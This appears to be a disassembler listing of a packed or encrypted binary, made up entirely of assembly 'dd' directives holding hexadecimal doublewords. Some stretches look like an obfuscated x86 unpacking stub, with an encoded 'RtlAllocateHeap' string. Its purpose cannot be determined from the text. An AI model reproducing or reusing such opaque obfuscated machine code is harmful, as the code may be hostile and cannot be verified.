		dd 98AFF594h, 9E01C9C8h, 0EFADC74Ah, 8F223214h,	66113218h
		dd 0A5A4F95h, 7F35C682h, 0F7F6767h, 69D80300h, 66883392h
		dd 0D913C715h, 99DDCDEAh, 8F4ECB3Ch, 66883204h,	4C526AB7h
		dd 493467Dh, 6E2369D6h,	173EAD9Ch, 66C7DBBEh, 0E82D3215h
		dd 66113214h, 0C73567E9h, 0A73CFB70h, 0B3D534F8h, 0BC77DF94h
		dd 8F01CC09h, 0E7601E9Eh, 662236D1h, 0B9915215h, 6698DB5Dh
		dd 97AE3215h, 0D05A6474h, 6C6F7241h, 463D0A89h,	8F25A5C8h
		dd 66223254h, 1F7964E0h, 38D8430Ah, 79378D42h, 980B6264h
		dd 38E0BB4Ah, 4061C7E9h, 9F443215h, 0DAF8D42h, 0B1E615A5h
		dd 0F2FDC594h, 0EF14EA5Ah, 3EE3BBEDh, 661ADB4Ah, 6B013215h
		dd 0B547DA63h, 0AC7622F9h, 69B5C165h, 66883F95h, 2CFF5215h
		dd 0E76B8B91h, 92FB25F6h, 0EB035326h, 606E27E0h, 69EBB7E0h
		dd 66117990h, 6686DB15h, 82633215h, 86BE60CEh, 7EADA421h
		dd 8D1555DCh, 73B1879Ch, 0E12D343Fh, 6611320Ch,	668826FCh
		dd 0CDD3515h, 0C28BF12Dh, 0ED6D0D47h, 2E17891Eh, 0B0746072h
		dd 662CDB5Dh, 0B15E3215h, 67B861D3h, 88167F5Fh,	298A025h
		dd 3F3506EAh, 8F8CF696h, 66443201h, 0A3706890h,	105BE2BDh
		dd 3B9C685Ah, 5A2E1787h, 40F51DA8h, 31EF8B44h, 0AE01205Fh
		dd 0CE47374Ch, 6DCBDFA0h, 0B3113215h, 3C28E88Fh, 0FB0A69BAh
		dd 0E92D6D99h, 66113201h, 66883DFCh, 58C89415h,	0AE53A753h
		dd 0AC777BDDh, 0A433C2CFh, 6ACA3DD6h, 69223215h, 6611349Dh
		dd 66033D15h, 34443215h, 662232AFh, 0E33315h, 7203309Eh
		dd 6280B331h, 69223215h, 6611269Fh, 680B3D15h, 8F443215h
		dd 6622321Ch, 90FD2BB6h, 6CC0FE0Ah, 69870EB3h, 66239091h
		dd 661BDB15h, 0A1EC3215h, 165E0A7Eh, 9EA8C5Ch, 0A3996347h
		dd 0EED1DC9Dh, 6CAD68E6h, 57223215h, 82324D25h,	0E4BAB7C2h
		dd 45F1636Fh, 0A672FF95h, 0BBE730F0h, 8B08FFEBh, 0D881B214h
		dd 67BD935h, 3DC495h, 0E6E9F59Eh, 0E24B42EEh, 662231D8h
		dd 6613B71Ah, 7E83215h,	0E24BDB29h, 66223356h, 661CDB75h
		dd 1DDF3215h, 1540777h,	0D545BD3Fh, 6A58771h, 668823FCh
		dd 48101615h, 0B6E80621h, 152200A9h, 43BB3EEEh,	0A2C46B34h
		dd 9A435347h, 0E21ED929h, 6688331Eh, 60CF3D75h,	69223215h
		dd 66113291h, 7878415h,	0E24BF029h, 662232E6h, 69DA0EE0h
		dd 6688D891h, 9A175215h, 5B44534Bh, 0E21E17EAh,	668832CEh
		dd 698E0EEDh, 6622E091h, 679C3D15h, 93883215h, 0E24BD129h
		dd 66223128h, 6606B81Ah, 8FE83215h, 6644321Fh, 5FBFCFCEh
		dd 3EA2A90Eh, 8109A434h, 55E68D42h, 481F5474h, 29943DEAh
		dd 8F883215h, 6644321Ch, 0D8697B32h, 0E0513ECFh, 6433614Bh
		dd 67443215h, 669B63E6h, 67113215h, 3F89B8CCh, 0D517C74Eh
		dd 0D67254E2h, 0D23A1Dh, 4F6BB24Dh, 0A5C4E1E3h,	3DFA120Fh
		dd 69B10EECh, 66886891h, 664CDB15h, 0B62A3215h,	0F35B0B7Fh
		dd 37DEC998h, 0E52AD3ACh, 0E2CBB361h, 0B701E65Ah, 0A379B3FCh
		dd 0A70FFA34h, 8FA336FCh, 61B0C8F3h, 0EFD1FC9Ch, 6EAD6CE5h
		dd 0DE223215h, 252CE041h, 8FDE98BAh, 6644326Fh,	6633DBE9h
		dd 0C16B3215h, 0E4132E49h
		dd 0FAD0439Ch, 0D2398697h, 0EF726927h, 4C9DC7A0h, 6643DB13h
		dd 5D1A3215h, 8A31AC90h, 0BE15BFDAh, 64202DCh, 2F29E094h
		dd 99702BFCh, 67013DC6h, 9E443215h, 662226FCh, 0AC657915h
		dd 0B233D005h, 0BB1C9D54h, 76CD888Ah, 753C3204h, 80E5ABDh
		dd 5ACD3215h, 66238D31h, 9E983215h, 0E7EE524Ah,	63836CBh
		dd 0EE2D5375h, 66113215h, 9A4B5374h, 0E7A6BB47h, 662236D7h
		dd 62FBB115h, 3AAC2692h, 660369Ch, 39435245h, 7667CD74h
		dd 0E5AC369Eh, 6CAD36D1h, 96223215h, 0DFD660A9h, 217125EBh
		dd 0F7C1BBEDh, 93241804h, 3135369Eh, 0A109D59Ch, 66443211h
		dd 6626F594h, 5A963215h, 61616E31h, 92443215h, 0FD759A77h
		dd 3743966Ah, 0B1BC2B7Dh, 0E7056B74h, 5D1781D4h, 75D0B34Bh
		dd 0E7939567h, 20600ED4h, 3FE8BB31h, 934BE414h,	6BFD8F98h
		dd 69AD343Fh, 0E0223215h, 9980AC5h, 0FBCDB6Dh, 7DE8F74Bh
		dd 68FE119h, 66113BFCh,	0CE5DEE15h, 71AC2815h, 0D92DF426h
		dd 0C53C53CBh, 65B2FE3Ch, 31601651h, 0CC6254AAh, 0E7CEC51Bh
		dd 77C89CDAh, 7CA3B361h, 0E7730B7Fh, 0BB528BE2h, 3970337Eh
		dd 664CB11Ah, 9F423215h, 49D391ABh, 8F235338h, 66443219h
		dd 90A5EA85h, 7B4B4C05h, 654F3E7Ah, 77F18F98h, 63CB343Fh
		dd 0A4113215h, 9F95E6B2h, 6AC43DB8h, 69223215h,	6611349Bh
		dd 660B3D15h, 6443215h,	6F7278AAh, 7D7B91Ch, 0AFE23938h
		dd 4200315Bh, 63986031h, 0E77CC72Ch, 36B2CAF7h,	919EC539h
		dd 8CA370C7h, 0BB97FFE0h, 8FD2E214h, 66443213h,	46C4F3AFh
		dd 0EF4469B1h, 624DB3F0h, 0E7443215h, 662236F8h, 423DB515h
		dd 428CBB49h, 0BCCF5475h, 0BC06E394h, 0CD705652h, 668822FCh
		dd 8172B815h, 1DF1D2C4h, 267453EBh, 0A5A2A10Ch,	0B7F9BF36h
		dd 8F241811h, 6611321Eh, 7D2853C6h, 0C2D36E85h,	6986165h
		dd 1088C294h, 0EB873F52h, 66443213h, 6622B31Ah,	0CB703215h
		dd 87448C75h, 2430E4h, 61CBE89Eh, 53113215h, 0E9A25505h
		dd 7258172h, 0BF5CB538h, 427C1F20h, 228B78D7h, 0B411A31h
		dd 6368F031h, 53C84C92h, 668834FCh, 0F7389F15h,	0CD441D13h
		dd 4225CDEDh, 624CB14Bh, 6653B71Ah, 74CB3215h, 25113215h
		dd 0A1C04DDAh, 82FCE1DAh, 74DC081Fh, 79146F0Ch,	0EF87F1D0h
		dd 66443214h, 81AB65EDh, 6615F594h, 890B3215h, 4278B511h
		dd 4216BB49h, 649E3D75h, 0ED883215h, 6654DBD7h,	96D33215h
		dd 76EA651Dh, 704D7A98h, 87000108h, 0EB4369E8h,	56D9D188h
		dd 0E5875213h, 66443213h, 6622BC1Ah, 30A53215h,	695BCD74h
		dd 6644339Dh, 85CBCB15h, 8FEECDE9h, 66883218h, 2C708650h
		dd 0B9ACE617h, 6E906E8Fh, 6685DB1Bh, 0EC7A3215h, 0E14FCF7Eh
		dd 0A6A347A0h, 0DFABB86Bh, 6CD24ECEh, 8AFD4AA8h, 0F251A245h
		dd 0E19AC0D5h, 0ED96A474h, 8A152AA8h, 0A0242945h, 261957DFh
		dd 2C5E9179h, 8A152A1Eh, 2C5E8979h, 8A152A16h, 2C5ECA79h
		dd 8A152A49h, 2C5E1379h, 8A152A38h, 2A5EF279h, 8A152A5Ch
		dd 2A5EFA79h, 8A152A6Bh, 0A851D6ACh, 8660D554h,	2559D7BAh
		dd 0BB73EECEh, 32DCF143h, 8C244DCFh, 0EDD871BAh, 8A42C3A8h
		dd 0DDAEA245h, 8260D558h, 0CE8538C8h, 7462C65h,	993639DFh
		dd 3C6D552h, 92B85E00h,	75152A54h, 0DDAEAE30h, 6A8FA75Ch
		dd 0FB579323h, 0ED8EB0D9h, 7BAEA474h, 63E96FDDh, 0A851A258h
		dd 75195FABh, 32DCAA30h, 8C244CB8h, 33CB2F16h, 75131B33h
		dd 54142B96h, 8A152ABDh, 0EDDAC345h, 82D7E3A8h,	3044BA45h
		dd 9D8D0000h, 62A2BB9h,	13A8B8h, 0D9858900h, 0E8062A24h
		dd 0
		dd 0D0558h, 3890000h, 13A8E9h, 45h dup(0)
		dd 83000000h, 0A4F305E9h, 0A1E4CB8Bh, 4649DEDDh, 57B13256h
		dd 745BB30Ch, 0DAB702AFh, 0EAB133D5h, 9CD1CE56h, 0BAB1325Fh
		dd 0D8C3DB58h, 0A31EAEF9h, 523E3D1Ah, 0CDB13256h, 1ABCF5D7h
		dd 0E9835237h, 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 24DA17FBh
		dd 0D525FB4Bh, 0ADFDF53Fh, 91446AE0h, 0CFB73422h, 0B723AC7Ah
		dd 1A20AD29h, 7975FD7Ah, 6C987C27h, 0A073CCE2h,	83E2DCFFh
		dd 0A4F305E9h, 0BD8DDB8Bh, 631B76Eh, 418B8D8Dh,	44B80632h
		dd 2B321566h, 2E9C1CFh,	0C8D00731h, 4904C783h, 870FF675h
		dd 0Ch,	6820Fh,	8E0F0000h, 0
		dd 6840F60h, 0F000000h,	82h, 8B665300h,	0E96158FAh, 9
		dd 0A059C4A1h, 50ED45A3h, 0C840F96h, 0E9000000h, 7, 0F363F595h
		dd 814B3A79h, 4ECh, 24348900h, 0F089C689h, 10E95Eh, 6CCE0000h
		dd 0DDCCE273h, 48E7A7ABh, 56BB54DFh, 83F911E2h,	2A2451BDh
		dd 9750006h, 2A89BD83h,	7400062Ah, 8B535019h, 411B8C0h
		dd 85890000h, 62A1A01h,	0BBD09D8Dh, 0D3FF062Ch,	0BD83585Bh
		dd 62A2A89h, 50177400h,	411B853h, 85890000h, 62A1A01h
		dd 0B8719D8Dh, 0D3FF062Ch, 60FC585Bh, 0A8B0Fh, 5E90000h
		dd 63000000h, 671F57BCh, 16880Fh, 10E80000h, 85000000h
		dd 0B9F54BFEh, 1F6C1A3Ch, 0F1080A22h, 584817B7h, 61F96061h
		dd 66A468h, 24048900h, 0B2606058h, 0CDCF80E0h, 61C6B761h
		dd 9E8F8h, 30C00000h, 0F2C464D4h, 6610B401h, 59AC84BBh
		dd 4CC181F9h, 6600006Eh, 3392C0BFh, 0E34FFF6h, 48A0Fh
		dd 0BB660000h, 0B658ABFDh, 6DC0811Bh, 662029EAh, 8101FFBAh
		dd 0F10E6EC0h, 0E881F832h, 3CB2488Bh, 4840Fh, 52600000h
		dd 6650615Eh, 8F38FCBAh, 14E93104h, 1D000000h, 0B23C9172h
		dd 152623E1h, 0D2E35080h, 0D338DA82h, 815369F3h, 0BEA438EEh
		dd 61FC600Dh, 0A434C681h, 8B660DBEh, 40FE81DFh,	0FFFFF92h
		dd 0FFFF9085h, 0E78166FFh, 0EDE932EFh, 60000000h, 0A8D88C66h
		dd 0DF840F04h, 8B000000h, 2A33C9B5h, 0FE8306h, 22850Fh
		dd 85C60000h, 62A27C9h,	69696845h, 0B5FF8E72h, 62A231Dh
		dd 81A9858Dh, 0D0FF062Dh, 28958589h, 0F08B062Ah, 0FE93E80h
		dd 3185h, 92858D00h, 0FF062FBBh, 0DBD8BD0h, 81062A25h
		dd 1184C7h, 0C9B58B00h,	87062A33h, 8B9F7h, 0A4F30000h
		dd 33C9B58Bh, 858D062Ah, 62E38C8h, 0B58BD0FFh, 62A1F91h
		dd 0F00FE83h, 2285h, 0C985C600h, 54062A27h, 4EBEF468h
		dd 1DB5FFFFh, 8D062A23h, 2D81A985h, 89D0FF06h, 2A1F9185h
		dd 80F08B06h, 850FE93Eh, 3Ah, 1F91B58Bh, 858D062Ah, 62FBB92h
		dd 0BD8BD0FFh, 62A250Dh, 1184C781h, 0C7830000h,	91B58B08h
		dd 87062A1Fh, 8B9F7h, 0A4F30000h, 1F91B58Bh, 858D062Ah
		dd 62E38C8h, 0C361D0FFh, 45CB858Dh, 85890632h, 62A16C5h
		dd 2BE9h, 0CAEE2400h, 35h, 9 dup(0)
		dd 4A9E9h, 47DD6800h, 27E90632h, 68FFF837h, 632485Ch, 0F8371DE9h
		dd 49FB68FFh, 13E90632h, 20FFF837h, 42FA94C8h, 5D15AFBFh
		dd 7A32CCA6h, 9A52EC8Ch, 94700A6Ah, 0B6BE46CAh,	0D5A1641Ch
		dd 0F664833Bh, 125EA45Ch, 84799278h, 28A1C4B1h,	56A17106h
		dd 0F77B88h, 483242C2h,	0B3C5410Fh, 0EC847EBCh,	44DA252h
		dd 490E6055h, 48B32445h, 0AA57255Eh, 483FDAC4h,	99B156E3h
		dd 776A9A28h, 5F0FF2C0h, 8BE51D75h, 9B2F837Ah, 35D91141h
		dd 335h, 1987166Dh, 0D7CC7BC4h,	24455C1Bh, 8B702994h, 0E53442B7h
		dd 8E595FB4h, 0FC73E2CCh, 2EF26FB9h, 74233445h,	94A19F7Fh
		dd 0CBB5201Fh, 2EDD267Bh, 0AAA94739h, 5A8D5B21h, 0A2D23200h
		dd 0B4261DB8h, 36CC9A49h, 1AE8A03Ah, 83DB5056h,	146E5FAEh
		dd 33EC8h, 0CE8E5A00h, 0E9857C34h, 66C974Fh, 2652B46Ch
		dd 4430D48Ch, 8004CEAAh, 9E56F084h, 0BD750F67h,	0DE96302Ah
		dd 0CCB24C24h, 0C477BEB3h, 0B34828A1h, 0A1EA3FE3h, 3AF1FDF2h
		dd 4BB6245Dh, 5008ED9Ch, 1FA445CEh, 0C02F5B6Bh,	7189281h
		dd 8532D210h, 6F0AF47Eh, 240E60A1h, 1AC97889h, 0A2791025h
		dd 4D2BDB28h, 0DFE9E04Bh, 0AD97DD27h, 0C37F922Eh, 0F57B87E3h
		dd 2C2D46EFh, 5DA9035Eh, 2BFh, 0B54F0DDBh, 0D06A04FDh
		dd 0ED87EB18h, 0DA7D135h, 2BC5AF55h, 301854Fh, 0E61FD771h
		dd 0A93EF690h, 0A35F17B1h, 344D33CDh, 0A1C4F63Fh, 6434C928h
		dd 0F2A1EA3Fh, 5D3AF1FDh, 0B8ADB624h, 28A1C37Dh, 0DCC6D742h
		dd 0A62ED5A3h, 0A1C384B1h, 0BFD03B28h, 0C2D663C8h, 0EA1A28A1h
		dd 4FBF0BF7h, 0FE11D919h, 82000001h, 0BB57DED3h, 5F6828A1h
		dd 0A1BACB6Ah, 7081EC28h, 0CB372179h, 7D231207h, 2994226Fh
		dd 2CD62E18h, 492DD8A6h, 66CFC45Fh, 59226F7Dh, 7CDA5B50h
		dd 72DD226Fh, 6B65061h,	0AB968B1h, 0C2ACC83Ch, 0F3DD7D6Ah
		dd 0EB504758h, 2445597Fh, 6CEBD540h, 2899A0CDh,	190FF423h
		dd 4F988ACEh, 0CBBEDED5h, 1149EBDFh, 34E5D9h, 3F1D0000h
		dd 511DE4EAh, 0EDE29140h, 226F7D48h, 0BA6CE38Ch, 0C9CBE902h
		dd 5348675Eh, 2445DD5Fh, 8C0BF560h, 289A2AADh, 34201343h
		dd 0D911BA96h, 0E73Ah, 0CB377200h, 0A163BBA5h, 7191E9D3h
		dd 2DDC15FFh, 6F7CFD38h, 15201522h, 0AA226F7Dh,	43FE3D3Fh
		dd 0B7513E4Bh, 3E7C7384h, 3312ACC4h, 227050ACh,	62115FA3h
		dd 32D34D7Dh, 0A69D05E0h, 4E97EC9Ch, 2E3DAA9Fh,	83512444h
		dd 8AFCF381h, 4EA98C81h, 0CF0E289Ch, 2B9F6644h,	4A5B6C0Fh
		dd 6F3DEC9Bh, 58F3DD93h, 9BFDD263h, 837AE528h, 6B5BF45h
		dd 0F9B6E521h, 8383680Ah, 0F8ED9C13h, 289BD93Dh, 16201782h
		dd 2056AF7Dh, 8719EB29h, 0F2C2D5D1h, 949AABE7h,	6A8BB2ABh
		dd 20F8449Eh, 3C000001h, 5E16B0ACh, 7931CBA3h, 964EE88Ah
		dd 0B66E0870h, 0B08C264Eh, 0D2A262E6h, 0F1858038h, 12489F57h
		dd 2E42C078h, 0A095AE94h, 28A1C695h, 56C5952Ah,	0FFF67A88h
		dd 8F7443C1h, 7CE55045h, 6FDA226Fh, 0FBB34D5Eh,	0FDCF6907h
		dd 0BBA5CB37h, 0F1149F63h, 25363AC8h, 501EE33Bh, 0A9BACB66h
		dd 0C10A5F0Fh, 328B1D12h, 7A5F2445h, 9B68B711h,	0EB4F7A03h
		dd 0D15119FEh, 529103FAh, 0D38CC79Dh, 0DE8D9EC9h, 3CE552F9h
		dd 25C0AAC6h, 0E217B740h, 6FECCEBh, 44F5D46Eh, 0AF2899D6h
		dd 0AB8A7F53h, 0C2899D6h, 5DF690A1h, 0D67CB9AEh, 0D8432899h
		dd 1361A3E1h, 4C41F029h, 2899D5E9h, 3A6C63CEh, 5Fh, 0E4EA3F78h
		dd 9342531Fh, 5D3B549Eh, 9882ED24h, 14AEC240h, 0E0CAA65Ch
		dd 0CA24B361h, 0A3963817h, 550A07ECh, 0DAC09189h, 135DA5E3h
		dd 2F41C179h, 5F19ED45h, 0E4D7F175h, 0CFA55F2Dh, 15534AE5h
		dd 8440AFEDh, 0AFC55A3h, 5BA75FF9h, 0CDF2B15h, 1D000000h
		dd 5F2A0F2Eh, 75553AA7h, 37298178h, 69C1ABB1h, 95EDD799h
		dd 0C61E0852h, 0F54D373Fh, 237B650Fh, 51A993E1h, 81D9C3B5h
		dd 0AE06F082h, 16311B53h, 81E68956h, 4C6h, 4EE8300h, 8B243487h
		dd 97682424h, 89000077h, 0A8682414h, 89000037h,	54BA2434h
		dd 0C1250023h, 574203EAh, 6DBD54BFh, 5FFA29FEh,	24348B54h
		dd 4C481h, 47680000h, 8900002Ah, 468F2414h, 2434FF08h
		dd 4C4835Eh, 5A2434FFh,	4C481h,	8BE90000h, 21FFF832h, 40B87F63h
		dd 306324Bh, 49E0FFC5h,	6023996Eh, 8596614h, 0A74EEF51h
		dd 0BA256CF6h, 27587474h, 6F327600h, 0D67CD821h, 7D2C9EF0h
		dd 0D84A5C86h, 0EA347048h, 0C02CAE2Bh, 8639B877h, 0DE6552FFh
		dd 9A2097D5h, 95259589h, 5D1FDD52h, 2975FE85h, 7D70FE19h
		dd 817CA469h, 5F1F6711h, 0D956F743h, 0EB32A02Fh, 287D5CCFh
		dd 743D0032h, 8D194BC5h, 324CCF8Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 7A19E9D7h
		dd 4E4659C2h, 89ACB362h, 2A33958Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0B9858B52h
		dd 89062A19h, 2A06B18Dh, 0F985C706h, 0AC062A0Bh, 6A000060h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0BA45C353h, 2B94E6FDh, 81D18A6Eh,	0EE2745F6h
		dd 0C585C711h, 62A06h, 0F000000h, 0B5FFC6B7h, 62A239Dh
		dd 6840Fh, 0B5010000h, 62A25E9h, 5C195FFh, 0BD03062Ah
		dd 62A0F15h, 95FF006Ah,	62A3439h, 0DEBC08Bh, 6D42FC67h
		dd 0C5BAFDA6h, 9CC0A080h, 45E90Eh, 7C860000h, 74525C3Bh
		dd 6C6C416Ch, 7461636Fh, 61654865h, 70h, 14h, 0Ah dup(0)
		dd 0E9000000h, 10C2h, 324F1C68h, 30F0E906h, 3E68FFF8h
		dd 0E9063250h, 0FFF830E6h, 3252A568h, 30DCE906h, 9068FFF8h
		dd 0E9063253h, 0FFF830D2h, 32571068h, 30C8E906h, 0C068FFF8h
		dd 0E9063257h, 0FFF830BEh, 3257FF68h, 30B4E906h, 1C68FFF8h
		dd 0E9063259h, 0FFF830AAh, 3259D368h, 30A0E906h, 3E68FFF8h
		dd 0E906325Ah, 0FFF83096h, 325B8268h, 308CE906h, 8E68FFF8h
		dd 0E906325Ch, 0FFF83082h, 6903598Fh, 841E50B1h, 0A13B37CCh
		dd 0C15B1DE9h, 0DF79FB09h, 4FB53903h, 32D38B25h, 0F5F2AA44h
		dd 0EF13CB65h, 0E801E781h, 0A1CA42F3h, 10E07528h, 1DE8CB37h
		dd 0C3D46F59h, 0EF8181D9h, 203AAD05h, 4F27DE36h, 80DA0D65h
		dd 0EDE06A96h, 0CDC0DAD4h, 0CB650BF7h, 0E983F113h, 0B59FD131h
		dd 31CBA55Dh, 50452C81h, 226F7CE5h, 0AF5E6FDAh,	4559B0BAh
		dd 1C067124h, 99A19C9Dh, 31245428h, 112D8545h, 0D6583DD9h
		dd 401C1F02h, 4233443Bh, 6B000000h, 83B2A756h, 34226F7Dh
		dd 479CD2C9h, 585A4FFEh, 0AC244556h, 7110CC7h, 16E40C43h
		dd 49F89D1h, 46309B0Dh,	99E172C7h, 5B4E7E28h, 11725B6Fh
		dd 0C3B867D9h, 2899D572h, 0D2E3DA45h, 0FBh, 0E8CB370Ah
		dd 5D47581Ch, 0B5807524h, 0A226F7Dh, 405121E2h,	0BEF90B49h
		dd 0A9442E46h, 0AC56AE98h, 8082DAC4h, 0EBD56F0h, 6F7D1C19h
		dd 4138A322h, 6F7904DCh, 2749B922h, 0C80FF48Dh,	78A39B2Eh
		dd 4BB7F5ECh, 96EB3B25h, 9A99E4Dh, 0A6244573h, 5908A13Bh
		dd 99ACD164h, 967BE628h, 16BB806h, 1372E80h, 0BFB463ACh
		dd 2A6DD893h, 6312C12Ch, 7627C76Eh, 0A88DF822h,	4F7A9E1Bh
		dd 0E807FEC9h, 0F08AEA1Ah, 0FC5E8957h, 2D2DBA12h, 0C997A843h
		dd 0B6513B3Dh, 0F18381BFh, 65F577EBh, 2C78D264h, 0E32h
		dd 0F58FCD1Bh, 10AAC43Dh, 2DC7AB58h, 4DE79175h,	6B056F95h
		dd 0C341C58Fh, 0A65F17B1h, 697E36D0h, 639F57F1h, 748D730Dh
		dd 0A1CCB67Fh, 0A4740928h, 0F67A8856h, 3C7A710Ch, 7912ACC8h
		dd 877C58ABh, 226F7DAEh, 9E95A611h, 31FAA260h, 90D90869h
		dd 3525C290h, 3FB88A24h, 0FDF2A1EAh, 244556B5h,	12E08FFAh
		dd 50B482F2h, 54D32D24h, 2899A6E5h, 31E8DB0Bh, 0E8D2A063h
		dd 0DB8E684Dh, 0E5F44287h, 89309AEEh, 0E6A0D911h, 0D8000000h
		dd 1DE8CB37h, 7D6FC6BBh, 0E550226Fh, 0BCB1EAD4h, 226F7D79h
		dd 0B1C2D33Eh, 44C08EC7h, 0DDAB4630h, 0C9644E28h, 47094D2h
		dd 79459B1Ah, 4B19226Fh, 89C7BE9Ch, 7A48F779h, 6702EC8Ch
		dd 54AE6670h, 0BCCDA35Fh, 272D82D2h, 10AB95DBh,	575B50FFh
		dd 5824455Fh, 4EA353EDh, 615605h, 0BF2A6DE8h, 0ACC0A554h
		dd 67DE19E0h, 0E8D423D9h, 1E42A303h, 75CB0C29h,	3748B322h
		dd 0B1532140h, 0AA2F14C3h, 5F9BF9C3h, 0F7AFB9B0h, 0B61670Dh
		dd 3E646542h, 0D1098E4h, 0EFF90000h, 0E61BD36Dh, 0CD36EE88h
		dd 0B3530BA5h, 91732BC5h, 0A36D49E3h, 0F58FE51Fh, 14AEC83Dh
		dd 35CF8B5Ch, 51EB857Dh, 0D85D526Bh, 0DF28A1CCh, 0CD377A4Ah
		dd 0AD550DA7h, 706514C3h, 226F7CC5h, 0B29CD42Eh, 89D61517h
		dd 68186880h, 0BFC9C0D1h, 0E8CB37EDh, 73C2B719h, 44226F7Dh
		dd 0CDB7C8D9h, 49E38D75h, 9421E2B0h, 0CF60753h,	1260A371h
		dd 31968D28h, 226F7D08h, 0BF5917EBh, 8B75FB07h,	74CDCF33h
		dd 0C8A46BC0h, 0F8503A4Bh, 257D670Bh, 3EC492DCh, 0AAC44832h
		dd 909A9EB7h, 0EC18E69Dh, 0AF539188h, 42D12C1h,	6448DBDAh
		dd 0B8869087h, 0D2E73A12h, 0CABEh, 0A756F600h, 624C0ED9h
		dd 7D63D2C7h, 1554226Fh, 0BC22904Dh, 0D9D0E18Ah, 9F484EA3h
		dd 4CFBAABBh, 8197A967h, 6D08F284h, 6F03BA88h, 0FF731378h
		dd 0B9242445h, 0FFE950CFh, 0D8072899h, 0BD4E6EF3h, 0F0E7D9ACh
		dd 0D9F1DDD0h, 0F7D911BFh, 7Bh,	0D4D9A68h, 2A10BE16h, 0EA226F7Dh
		dd 0A58FCB1Ch, 0CF665B0Ah, 0F0226F7Ch, 3588E85h, 80160BBAh
		dd 94244573h, 8C45F0E5h, 0F7A2899h, 0A13BA618h,	6F591BE9h
		dd 0D281CA1Fh, 7D740004h, 0D1CAAF5Eh, 85B04841h, 19D02F9h
		dd 862A6F87h, 95B0A47h,	97A8B483h, 1AA245FDh, 70391025h
		dd 2B3CA722h, 539CF141h, 1C83AFA4h, 0D13C2446h,	8EE8B37h
		dd 34020000h, 29D9A7B3h, 3FF85047h, 0FDF2A1EAh,	24457421h
		dd 9211FB66h, 28998CA7h, 6F261949h, 0E4D9758Ah,	637E4A8Fh
		dd 8CCDB2C8h, 0A19489AFh, 16289A5Ch, 4FA39AABh,	0D911E87Bh
		dd 2155h, 0DF8C600h, 101A7269h,	226F7D29h, 7D41F4E9h, 0B76226Fh
		dd 7C0D1526h, 0C9DA6037h, 0FFFBC307h, 0EA3F45FFh, 0C5FDF2A1h
		dd 8A244550h, 688B701Fh, 0D02C33BAh, 83025C53h,	289A1CB6h
		dd 0EF260B3Ah, 6D1DE2FFh, 0B6A9C9C0h, 112D00CAh, 4FAD0D9h
		dd 16080000h, 68B10694h, 5C2EC4B9h, 28932445h, 302D06Fh
		dd 7E33059Fh, 8798C77Dh, 0F4B52B90h, 5DB291D4h,	82706514h
		dd 92D434F6h, 873642C4h, 3537A392h, 0B2A914CCh,	9BEBD540h
		dd 804EFD46h, 6D08F286h, 30625776h, 51CE08B7h, 996937E6h
		dd 7D853DD7h, 6B89EDF3h, 66C01447h, 0AA91Ah, 6569200h
		dd 214DB46Ch, 3E34CF87h, 5E1AECA4h, 7CF80CC4h, 0B83C06E2h
		dd 0D68E284Ch, 0F5AD472Fh, 16CE68F2h, 4EA84ECh,	0CF3FF6EBh
		dd 0EB8028A1h, 0A5CB371Bh, 0CD166BBBh, 7CD5291Eh, 729A2445h
		dd 23D2E393h, 4869793Eh, 0F6ED4EBCh, 7CDE09D7h,	9DBD2AE2h
		dd 0BF0134B3h, 76C32899h, 852899AFh, 4338E730h,	2A6FA133h
		dd 0B02F1984h, 226FDD89h, 58443767h, 0D2E76D72h, 315Eh
		dd 88569600h, 0C9FFF67Ah, 0DB936E74h, 964556F1h, 8CCE19E7h
		dd 0AB1007A2h, 2445736Bh, 6474915Fh, 998AC66Fh,	7D8EF928h
		dd 0BFA91486h, 3073h, 0EA3FB100h, 51FDF2A1h, 6924455Fh
		dd 5F0E4C9Bh, 999ECB6Ah, 8A81EC28h, 0A415F018h,	8E29135Fh
		dd 49826C7Dh, 0BB2C877Bh, 9A48E9Fh, 0B7AEAC3Bh,	0A5CB375Fh
		dd 5F30E19Fh, 0C20E6864h, 9BEh,	811B41A7h, 9C3638C9h, 0B9531FE4h
		dd 0D9730501h, 0F791E321h, 37CD511Bh, 1AEBA33Dh, 0DD0AC25Ch
		dd 0D72BE37Dh, 19FF99h,	0A1D02A0Bh, 28F88D28h, 3503EA3Fh
		dd 21BCA6D0h, 6F7D092Ch, 3243AE22h, 66E88E83h, 0EE592445h
		dd 4656AC04h, 0B2492188h, 92C25DFh, 0CE1D91A3h,	3312ACBDh
		dd 0B4E9887h, 38D21B74h, 0E7163388h, 4264CA92h,	0DA5FA9B5h
		dd 715DD2F5h, 92BCB160h, 5745A670h, 43583DECh, 3638C98Ah
		dd 0AECF0D51h, 0FC055DB7h, 6C85159Eh, 4051C1A0h, 58A1F6A6h
		dd 0C8F1C4A9h, 0B82A45DCh, 8FECE109h, 6C5162BBh, 0FCCA2553h
		dd 9BBAB1BBh, 9103D0A6h, 4715C44Bh, 32CDB7BDh, 0D102F83Dh
		dd 6A97BF43h, 6E7F1A04h, 0B09A0577h, 0D1030831h, 0EBB9E843h
		dd 1347A01Bh, 867D1802h, 43877366h, 8DF44890h, 184h, 0A1EA3FC5h
		dd 6679FDF2h, 0D33E2445h, 2B7191E9h, 41C14D31h,	0C5AA452Fh
		dd 0A5B669EDh, 5DA4720Bh, 83B77E73h, 9D082899h,	9D4AA28Ch
		dd 2738D3BDh, 6010F230h, 4CC3F776h, 0C7680B4Eh,	71680AF9h
		dd 7A885E51h, 0F55A9422h, 657668CDh, 9EFFE8B6h,	7FE0F67h
		dd 15BD45FDh, 0D0A31520h, 2E3FAA43h, 0AD5C0B44h, 0D0A37DB8h
		dd 0E2D74243h, 43D0A353h, 9D02F964h, 26856D1Dh,	0EDE291AAh
		dd 28999948h, 0CB36046Fh, 271EB9A3h, 0C43E1407h, 0AB7912ACh
		dd 0E8261D5Bh, 336C561Ah, 0EED88265h, 0CC265C53h, 36DFD483h
		dd 49289999h, 3F9444DEh, 605247F6h
		dd 612A6F8Dh, 4EB40CF6h, 32D08822h, 6DC0AC6Ah, 0DCEDDF46h
		dd 0CAA73F2h, 0DBF52270h, 8D8231E8h, 22700DA8h,	6FADA40Fh
		dd 8EE22093h, 49F809A4h, 0D90A59Ah, 0BC272270h,	735D15EEh
